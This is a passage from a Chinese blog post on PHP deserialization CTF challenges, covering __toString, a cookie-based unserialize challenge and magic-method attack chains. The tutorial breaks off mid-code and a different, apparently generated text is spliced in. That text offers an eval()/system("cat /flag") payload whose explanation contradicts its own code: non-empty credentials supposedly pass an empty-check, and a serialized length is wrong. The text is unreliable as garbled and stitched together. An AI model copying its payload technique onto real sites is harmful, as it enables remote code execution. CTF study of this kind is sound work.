php反序列化1_常见php序列化的CTF考题

v2-0w.jpg

声明:

以下多内容来自暗月师傅我是通过他的教程来学习记录的,如有侵权联系删除。

一道反序列化的CTF题分享_ctf反序列化题目_Mr.95的博客-CSDN博客

一些其他大佬的wp参考:php_反序列化_1 | dayu’s blog (killdayu.com)

序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

序列化_toString

1. 序列化简介

本质上serialize()和unserialize()在php内部的实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象,魔术函数以及序列化相关问题时导致的。

当传给unserialize()的参数可控时,那么用户就可以注入精心构造的payload当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

1. __toString介绍

__toString() 是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法以下说明摘自PHP官方手册

public string __toString ( void )

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

Warning

不能在 __toString() 方法中抛出异常。这么做会导致致命错误。

2 简单示例
<?php
// Declare a simple class
class TestClass
{
    public $foo;

    public function __construct($foo) 
    {
        $this->foo = \$foo;
    }
    public function __toString() {
        return $this->foo;
    }
}
$class = new TestClass('Hello');
echo $class;
?>

上面我们通过调试就能发现,当echo输出的时候,,会自动调用__toString

3.CTF实例
<?php 
Class readme{
   
    
    public function __toString() 
    {
   
    
        return highlight_file('Readme.txt', true).highlight_file($this->source, true);//高亮显示 
    } 
} 
if(isset($_GET['source'])){
   
    
    $s = new readme(); //实例化一个对象
    $s->source = __FILE__; //传入当前文件名,根据Readme.txt输出的提示/flag可知这题要做那么传入的文件名应该是'flag'
    echo $s; //输出当前文件内容
    exit; 
} 
//$todos = []; 
if(isset($_COOKIE['todos'])){
   
    
    $c = $_COOKIE['todos']; 
    $h = substr($c, 0, 32); //截取0-32位字符
    $m = substr($c, 32); //截取32位以后的字符
    if(md5($m) === $h){
   
    //全等于才会反序列化
        $todos = unserialize($m); 
    } 
} 
if(isset($_POST['text'])){
   
    //不过这里我们好像用不到post
    $todo = $_POST['text']; 
    $todos[] = $todo; //将post获取到的参数赋值给数组,注意如果上面的反序列化通过了这个数组就原本不是空的
    $m = serialize($todos); //序列化
    $h = md5($m); 
    setcookie('todos', $h.$m); 
    header('Location: '.$_SERVER['REQUEST_URI']); 
    exit; 
} 
?> 
<html> 
<head> 
</head> 

<h1>Readme</h1> 
<a href="?source"><h2>Check Code</h2></a> 
<ul> 
<?php foreach($todos as $todo):?> //遍历取todos赋值给todo
    <li><?=$todo?></li> //相当于<?php echo $todo?>
<?php endforeach;?> 
</ul> 

<form method="post" href="."> 
    <textarea name="text"></textarea> 
    <input type="submit" value="store"> 
</form>

highlight_file() 函数对文件进行语法高亮显示。

PHP 支持一个错误控制运算符:@。当将其放置在一个 PHP 表达式之前,该表达式可能产生的任何错误信息都被忽略掉。

strpos() 函数查找字符串在另一字符串中第一次出现的位置

php中ereg()函数和eregi()函数-字符串对比解析函数

·松散比较:使用两个等号 == 比较,只比较值,不比较类型。

·严格比较:用三个等号 === 比较,除了比较值,也比较类型

setcookie() 函数向客户端发送一个 HTTP cookie

header() 函数向客户端发送原始的 HTTP 报头。

$_SERVER[“REQUEST_URI”]函数:

预定义服务器变量的一种,所有$_SERVER开头的都叫做预定义服务器变量 REQUEST_URI的作用是取得当前URI,也就是除域名外后面的完整的地址路径

$_SERVER[“REQUEST_URI”]函数-CSDN博客

通过上面的注释和分析我们可以知道,post好像用不到了,我们需要构造一段序列化的cookie信息payload,传入让他执行反序列化。

可以发现当执行到这一段的时候会触发_toString方法,而todo的参数已经是被我们改成了反序列化后的参数。

<?php foreach($todos as $todo):?> //遍历取todos赋值给todo
    <li><?
CTF比赛中,PHP反序列化漏洞是常见的考察点之一,主要围绕PHP序列化反序列化机制展开。当用户输入的数据被直接反序列化时,攻击者可以通过构造恶意输入来控制对象的属性,甚至触发某些危险的魔法函数(如`__wakeup`、`__destruct`、`__invoke`等),从而实现任意代码执行、文件读取等操作。 ### 序列化反序列化机制 PHP中的`serialize()`函数用于将对象的状态转换为字符串,而`unserialize()`函数则用于将该字符串还原为对象。例如,以下代码创建了一个对象并对其进行序列化: ```php class ctfShowUser { public $username = 'x'; public $password = 'y'; public $isVip = true; } $a = new ctfShowUser(); echo urlencode(serialize($a)); // 输出:O%3A9%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D ``` 此序列化字符串表示一个名为`ctfShowUser`的对象,包含三个属性:`username`、`password`和`isVip`。通过修改这些属性,攻击者可以尝试绕过某些逻辑判断,如身份验证等。 ### 魔法函数与漏洞利用 PHP中定义了一些特殊的“魔法函数”,它们在特定操作时自动调用,例如: - `__construct()`:构造函数,在对象创建时调用; - `__destruct()`:析构函数,在对象销毁时调用; - `__wakeup()`:在反序列化时调用; - `__sleep()`:在序列化时调用; - `__invoke()`:当尝试以函数方式调用对象时触发; - `__unserialize()`:在反序列化时调用,用于自定义反序列化行为。 在实际CTF题目中,常常会结合这些魔法函数来构造攻击链。例如,下面的代码展示了如何通过`__invoke`和`eval()`函数实现任意代码执行: ```php class ctfshowvip { public $username; public $password; public $code; public function __construct($u, $p) { $this->username = $u; $this->password = $p; } public function __wakeup() { if ($this->username != '' || $this->password != '') { die('error'); } } public function __invoke() { eval($this->code); } public function __sleep() { $this->username = ''; $this->password = ''; } public function __unserialize($data) { $this->username = $data['username']; $this->password = $data['password']; $this->code = $this->username . $this->password; } public function __destruct() { if ($this->code == 0x36d) { file_put_contents($this->username, $this->password); } } } unserialize($_GET['vip']); ``` 在这个例子中,`__invoke`方法使用了`eval()`函数,这意味着如果攻击者能够控制`$code`变量,就可以执行任意PHP代码。此外,`__wakeup`函数中存在一个限制条件,即`username`和`password`必须为空,否则会触发`die('error')`。为了绕过这个限制,攻击者可以利用`__unserialize`方法,将`username`和`password`设置为空字符串,同时将`code`设置为期望执行的代码。 ### 解题方法与技巧 在CTF比赛中,解决PHP反序列化漏洞题目的关键在于理解目标类的结构和魔法函数的行为。以下是常见的解题步骤: 1. **分析源码**:查看目标类的定义,识别是否存在魔法函数及其功能。重点关注`__wakeup`、`__destruct`、`__invoke`等可能触发危险操作的函数。 2. **构造恶意对象**:根据目标类的结构,构造一个恶意的序列化字符串,使其在反序列化时能够触发特定的魔法函数,并控制其行为。 3. **绕过限制条件**:有些题目会在魔法函数中设置限制条件(如`if ($this->username != '' || $this://this->password != '') { die('error'); }`),此时需要找到绕过这些条件的方法,例如通过`__unserialize`方法重置某些属性。 4. **实现任意代码执行**:如果目标类中存在`eval()`、`system()`等函数,攻击者可以通过构造恶意输入来执行任意命令。 5. **读取flag文件**:在某些情况下,攻击者需要读取服务器上的`flag`文件。此时可以利用`file_get_contents()`、`highlight_file()`等函数来实现文件读取。 ### 示例代码 以下是一个简单的示例,展示了如何构造一个恶意序列化字符串来绕过`__wakeup`函数并执行任意代码: ```php class ctfshowvip { public $username = 'admin'; public $password = '123456'; public $code = 'system("cat /flag");'; public function __wakeup() { if ($this->username != '' || $this->password != '') { die('error'); } } public function __invoke() { eval($this->code); } } $payload = new ctfshowvip(); $serialized = serialize($payload); echo urlencode($serialized); // 输出:O%3A9%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%22cat+%2Fflag%22%29%3B%22%3B%7D ``` 在本例中,攻击者构造了一个`ctfshowvip`对象,并设置了`username`、`password`和`code`属性。通过将`code`设置为`system("cat /flag")`,攻击者可以在反序列化时触发`__wakeup`函数,并绕过其限制条件,最终执行任意命令。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

是乙太呀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值